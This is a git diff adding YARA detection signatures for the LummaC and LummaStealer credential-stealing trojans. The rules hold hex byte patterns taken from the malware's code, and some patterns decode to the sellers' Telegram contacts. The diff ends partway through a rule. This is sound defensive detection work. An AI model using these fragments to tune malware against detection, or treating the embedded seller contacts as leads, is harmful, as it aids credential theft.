diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EAH_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EAH_MTB.yar new file mode 100644 index 0000000000..982e29da19 --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EAH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaC_EAH_MTB{ + meta: + description = "Trojan:Win32/LummaC.EAH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {8b 4d ec 80 c1 22 88 8c 1e 86 87 6c 1e 40 89 45 e8 8b 45 e0 43 48 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EANI_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EANI_MTB.yar new file mode 100644 index 0000000000..dc140cc303 --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EANI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaC_EANI_MTB{ + meta: + description = "Trojan:Win32/LummaC.EANI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {83 ec 10 0f b7 45 da 83 c0 01 66 89 45 da 8b 45 cc 0f b7 40 06 66 39 45 da } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EAN_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EAN_MTB.yar new file mode 100644 index 0000000000..38c79049bb --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EAN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaC_EAN_MTB{ + meta: + description = "Trojan:Win32/LummaC.EAN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {29 d0 8b 55 f0 04 e6 8b 75 e8 88 84 0e 1c 8a ef d9 41 4a } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EAOO_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EAOO_MTB.yar new file mode 100644 index 0000000000..447188e94a --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EAOO_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaC_EAOO_MTB{ + meta: + description = "Trojan:Win32/LummaC.EAOO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {31 fb 89 5c 24 04 8b 5c 24 04 80 c3 78 88 9c 3c e8 53 1f 1e 47 } //5 + $a_01_1 = {21 c7 89 7c 24 04 8b 44 24 04 04 4e 88 84 14 ca e2 4c bf 42 4e } //5 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EGN_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EGN_MTB.yar new file mode 100644 index 0000000000..0169430c7b --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EGN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaC_EGN_MTB{ + meta: + description = "Trojan:Win32/LummaC.EGN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_02_0 = {03 c2 0f b6 c0 8a 84 05 f8 fe ff ff 30 83 ?? ?? ?? ?? 43 81 fb } //5 + condition: + ((#a_02_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EHI_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EHI_MTB.yar new file mode 100644 index 0000000000..e59530dd7e --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_EHI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaC_EHI_MTB{ + meta: + description = "Trojan:Win32/LummaC.EHI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {8b 95 64 ed ff ff 01 c2 83 c0 01 89 95 64 ed ff ff 3d 10 27 00 00 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_GH_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_GH_MTB.yar new file mode 100644 index 0000000000..7cfcc3952c --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_GH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaC_GH_MTB{ + meta: + description = "Trojan:Win32/LummaC.GH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {32 1c 0a 30 c3 88 1c 0a 41 39 8c 24 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_GXM_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_GXM_MTB.yar new file mode 100644 index 0000000000..01540ec8b0 --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_GXM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaC_GXM_MTB{ + meta: + description = "Trojan:Win32/LummaC.GXM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {89 ca c1 ea ?? 80 ca ?? 88 16 c1 e9 ?? 89 ca 83 f2 ?? 83 c9 ?? 21 d1 80 c9 ?? 88 4e ?? 80 e3 ?? 80 cb ?? 88 5e ?? b9 03 00 00 00 01 ce } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_GZM_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_GZM_MTB.yar new file mode 100644 index 0000000000..921c169604 --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_GZM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaC_GZM_MTB{ + meta: + description = "Trojan:Win32/LummaC.GZM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {89 d9 81 f1 ?? ?? ?? ?? 83 e3 ?? 01 db 29 cb 88 9c 14 ?? ?? ?? ?? 42 81 fa } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_IGB_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_IGB_MTB.yar new file mode 100644 index 0000000000..ca23295a40 --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_IGB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaC_IGB_MTB{ + meta: + description = "Trojan:Win32/LummaC.IGB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {89 fa 89 c3 c1 eb 12 89 c7 c1 ef 11 81 e7 e0 00 00 00 81 f3 f0 00 00 00 01 fb 8b 7c 24 ?? 88 1f 89 c3 c1 eb 0c 80 e3 3f 80 cb 80 88 5f 01 c1 e8 06 24 3f 0c 80 88 47 02 b0 3f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_LummaC_NFS_MTB.yar b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_NFS_MTB.yar new file mode 100644 index 0000000000..29a3c70bc1 --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_LummaC_NFS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaC_NFS_MTB{ + meta: + description = "Trojan:Win32/LummaC.NFS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {89 c8 21 f8 89 da 21 f2 0f a4 c2 01 01 c0 01 f9 11 f3 89 d6 31 de 89 c7 31 cf f7 d2 f7 d0 21 c8 21 da } //1 + $a_03_1 = {01 f1 fe c1 89 c6 0f ad d6 89 d7 d3 ef f6 c1 ?? ?? ?? 89 fe 31 ff 31 d7 31 c6 } //2 + condition: + ((#a_01_0 & 1)*1+(#a_03_1 & 1)*2) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_Lummac_SDA.yar b/Trojan/Win32/LummaC/Trojan_Win32_Lummac_SDA.yar new file mode 100644 index 0000000000..1699778502 --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_Lummac_SDA.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Lummac_SDA{ + meta: + description = "Trojan:Win32/Lummac.SDA,SIGNATURE_TYPE_PEHSTR_EXT,73 00 73 00 07 00 00 " + + strings : + $a_01_0 = {32 1d 30 f9 48 77 82 5a 3c bf 73 7f dd 4f 15 75 } //100 + $a_01_1 = {57 58 59 5a 00 78 58 00 } //5 塗婙砀X + $a_03_2 = {ae 42 60 82 c7 ?? ?? ?? 49 45 4e 44 } //5 + $a_01_3 = {fe dc ba 98 76 54 32 10 f0 e1 d2 c3 } //5 + $a_01_4 = {b8 fe ff ff ff 90 90 90 90 90 90 90 90 } //5 + $a_80_5 = {63 72 79 70 74 6f 5c 65 76 70 5c 65 6e 63 6f 64 65 2e 63 2e 61 73 73 65 72 74 69 6f 6e } //crypto\evp\encode.c.assertion -100 + $a_80_6 = {5c 6c 69 62 63 65 66 2e 64 6c 6c } //\libcef.dll -100 + condition: + ((#a_01_0 & 1)*100+(#a_01_1 & 1)*5+(#a_03_2 & 1)*5+(#a_01_3 & 1)*5+(#a_01_4 & 1)*5+(#a_80_5 & 1)*-100+(#a_80_6 & 1)*-100) >=115 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaC/Trojan_Win32_Lummac_SDB.yar b/Trojan/Win32/LummaC/Trojan_Win32_Lummac_SDB.yar new file mode 100644 index 0000000000..714133578a --- /dev/null +++ b/Trojan/Win32/LummaC/Trojan_Win32_Lummac_SDB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Lummac_SDB{ + meta: + description = "Trojan:Win32/Lummac.SDB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_80_0 = {62 75 79 20 6e 6f 77 3a 20 74 67 20 40 6c 75 6d 6d 61 6e 6f 77 6f 72 6b } //buy now: tg @lummanowork 1 + $a_80_1 = {62 75 79 26 73 65 6c 6c 20 6c 6f 67 73 3a 20 40 6c 75 6d 6d 61 6d 61 72 6b 65 74 70 6c 61 63 65 5f 62 6f 74 } //buy&sell logs: @lummamarketplace_bot 1 + $a_80_2 = {6c 75 6d 6d 61 63 32 20 62 75 69 6c 64 3a } //lummac2 build: 1 + $a_80_3 = {63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3a } //configuration: 1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ABC_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ABC_MTB.yar new file mode 100644 index 0000000000..302cea8e9d --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_ABC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaStealer_ABC_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.ABC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {d3 f8 89 45 a4 8b 4d c4 0f af 4d 08 89 4d c4 8b 15 ?? ?? ?? ?? 03 55 08 89 15 } //4 + $a_01_1 = {4e 00 44 00 68 00 43 00 35 00 6f 00 37 00 63 00 75 00 35 00 65 00 33 00 30 00 68 00 59 00 65 00 70 00 45 00 47 00 46 00 66 00 } //1 NDhC5o7cu5e30hYepEGFf + condition: + ((#a_03_0 & 1)*4+(#a_01_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_BD_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_BD_MTB.yar new file mode 100644 index 0000000000..c466ef7ef5 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_BD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaStealer_BD_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.BD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {0f b6 4d 0c 0f bf 55 f4 0f af d1 66 89 55 f4 0f b7 45 08 0f b6 4d ff 03 c8 88 4d ff } //3 + $a_03_1 = {03 d1 88 95 ?? ?? ?? ff 0f bf 85 ?? ?? ?? ff 03 05 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_BE_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_BE_MTB.yar new file mode 100644 index 0000000000..caf7f179cb --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_BE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_BE_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.BE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {88 54 24 0f 0f b6 54 24 0f 32 91 ?? ?? ?? ?? 88 54 24 0f 8b 54 24 08 81 c2 ?? ?? ?? ?? 89 54 24 08 83 c0 01 83 f8 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_BF_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_BF_MTB.yar new file mode 100644 index 0000000000..ca6e9eadea --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_BF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_BF_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.BF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 54 24 ?? 83 c0 01 32 11 88 54 24 ?? 0f b6 54 24 ?? 32 91 ?? ?? ?? 00 88 54 24 ?? 0f b6 54 24 ?? 32 91 ?? ?? ?? 00 88 54 24 ?? 8b 54 24 ?? 81 c2 ?? ?? ?? 00 89 54 24 ?? 83 f8 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_BSA_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_BSA_MTB.yar index 1588a15267..ab2367a134 100644 --- a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_BSA_MTB.yar +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_BSA_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_Win32_LummaStealer_BSA_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 02 00 00 " + + strings : + $a_01_0 = {66 65 71 75 61 6c 2e 65 78 65 } //10 fequal.exe + $a_03_1 = {eb 10 66 62 3a 43 2b ?? ?? ?? ?? ?? ?? e9 ac b0 73 00 } //3 + condition: + ((#a_01_0 & 1)*10+(#a_03_1 & 1)*3) >=13 + +} +rule Trojan_Win32_LummaStealer_BSA_MTB_2{ meta: description = "Trojan:Win32/LummaStealer.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " @@ -9,7 +20,7 @@ rule Trojan_Win32_LummaStealer_BSA_MTB{ ((#a_03_0 & 1)*10) >=10 } -rule Trojan_Win32_LummaStealer_BSA_MTB_2{ +rule Trojan_Win32_LummaStealer_BSA_MTB_3{ meta: description = "Trojan:Win32/LummaStealer.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " @@ -19,7 +30,7 @@ rule Trojan_Win32_LummaStealer_BSA_MTB_2{ ((#a_01_0 & 1)*1) >=1 } -rule Trojan_Win32_LummaStealer_BSA_MTB_3{ +rule Trojan_Win32_LummaStealer_BSA_MTB_4{ meta: description = "Trojan:Win32/LummaStealer.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 00 " diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_CCJX_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_CCJX_MTB.yar new file mode 100644 index 0000000000..fe18cf21d2 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_CCJX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_CCJX_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.CCJX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 01 00 00 " + + strings : + $a_03_0 = {45 31 c5 33 1c ad ?? ?? ?? ?? 89 d8 c1 e8 ?? 83 e3 ?? c1 ef ?? 31 df } //6 + condition: + ((#a_03_0 & 1)*6) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_CCJY_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_CCJY_MTB.yar new file mode 100644 index 0000000000..dd66607b61 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_CCJY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_CCJY_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.CCJY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 01 00 00 " + + strings : + $a_03_0 = {0f be 0c 16 31 c1 0f af cb 0f be 44 16 ?? 31 c8 0f af c3 0f be 4c 16 ?? 31 c1 0f af cb 0f be 44 16 ?? 31 c8 0f af c3 83 c2 ?? 39 d7 75 } //6 + condition: + ((#a_03_0 & 1)*6) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAA_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAA_MTB.yar new file mode 100644 index 0000000000..e7f6989ced --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DAA_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {89 d1 c1 e9 1e 31 d1 89 ca 81 e2 ?? ?? ?? ?? 89 cf 81 c9 ?? ?? ?? ?? 0f af ca 81 f2 ?? ?? ?? ?? 81 e7 ?? ?? ?? ?? 0f af fa 01 f9 8d 14 08 4a 8b 0d ?? ?? ?? ?? 89 14 81 40 3d ?? ?? ?? ?? 75 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAB_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAB_MTB.yar new file mode 100644 index 0000000000..7e9de35fe6 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DAB_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {01 cf 89 c8 25 ?? ?? ?? ?? 81 e7 ?? ?? ?? ?? 09 c7 31 cf 81 f7 ?? ?? ?? ?? 8d 83 ?? ?? ?? ?? 21 e8 31 c8 21 f8 89 44 24 08 8b 44 24 08 04 ca 88 84 1c ?? ?? ?? ?? 43 81 fb ?? ?? ?? ?? 75 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAC_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAC_MTB.yar new file mode 100644 index 0000000000..412673c95b --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DAC_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {89 c1 83 f1 7e 83 e0 01 01 c0 29 c8 8b 4c 24 0c 04 89 88 01 46 41 83 c2 02 83 fa 08 0f 85 35 } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAD_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAD_MTB.yar new file mode 100644 index 0000000000..edbe608121 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DAD_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {83 c1 02 81 e1 ?? ?? ?? ?? 81 e7 ?? ?? ?? ?? 09 cf 81 f7 ?? ?? ?? ?? 09 f7 f7 d7 21 ef 8b 2c 24 89 7c 24 10 8b 4c 24 10 80 c1 f6 88 4c 04 09 40 4d 83 f8 07 0f 85 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAE_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAE_MTB.yar new file mode 100644 index 0000000000..84ccd67541 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DAE_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 0c 2c 89 c2 81 e2 ?? ?? ?? ?? 89 eb 83 e3 02 09 d3 31 cb 81 f3 ?? ?? ?? ?? 8d 55 64 21 ca f7 d2 21 da 89 54 24 08 8b 4c 24 08 80 c1 74 88 0c 2c 45 48 83 fd 04 75 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAF_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAF_MTB.yar new file mode 100644 index 0000000000..5dcf1f386b --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DAF_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {c0 e1 02 0f b6 c1 8b 4d fc c1 e9 06 0b c1 8b c8 c1 e9 03 33 c8 b8 ?? ?? ?? ?? f7 eb 03 d3 c1 fa 02 8b c2 c1 e8 1f 03 c2 2b c8 8d 04 cd 00 00 00 00 2b c1 03 c3 25 ?? ?? ?? ?? 79 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAH_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAH_MTB.yar new file mode 100644 index 0000000000..fb17a6e606 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DAH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DAH_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DAH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {20 20 20 00 20 20 20 20 00 a0 05 00 00 10 00 00 00 b0 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 78 03 00 00 00 b0 05 00 00 04 00 00 00 c0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 05 00 00 02 00 00 00 c4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DFL_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DFL_MTB.yar new file mode 100644 index 0000000000..5226dc10d6 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DFL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DFL_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DFL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {31 c8 89 44 24 04 8b 44 24 04 34 80 8b 4c 24 ?? 8b 14 24 88 04 11 8b 04 24 83 f0 ff 31 c9 29 c1 89 0c 24 eb } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DIZ_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DIZ_MTB.yar new file mode 100644 index 0000000000..73a4f18c9b --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DIZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DIZ_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DIZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 f3 0f b6 5c 34 04 01 d3 00 db 80 f3 55 89 d9 d0 e9 00 d9 88 d5 0f b6 f1 80 e5 0f 32 2c 17 8d 1c 76 30 dd 88 2c 17 8b 8c 24 ?? ?? ?? ?? 42 39 d1 0f 85 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DM_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DM_MTB.yar new file mode 100644 index 0000000000..4974e2e868 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DM_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_LummaStealer_DM_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 00 " + + strings : + $a_01_0 = {47 96 6e 8a 73 46 95 35 a8 33 66 2c 32 cb 59 58 58 2e ad 2c 22 cf } //10 + $a_01_1 = {89 f8 83 e0 02 89 f9 83 cf 02 0f af f8 83 f0 02 83 e1 fd 0f af c8 01 cf 83 ff 04 72 } //10 + $a_01_2 = {0f b6 d2 c1 e1 05 81 e1 e0 7f 00 00 31 d1 0f b7 94 4e 72 92 02 00 89 c7 81 e7 ff 7f 00 00 66 89 94 7e 72 92 01 00 89 da 42 66 89 84 4e 72 92 02 00 45 } //10 + $a_01_3 = {c5 0e 04 45 0b 03 56 01 0e b0 01 43 0e c0 01 02 8c 0a 0e 14 41 c3 } //10 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10+(#a_01_3 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DP_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DP_MTB.yar new file mode 100644 index 0000000000..ed8fbc4875 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DP_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_LummaStealer_DP_MTB{ + meta: + description = 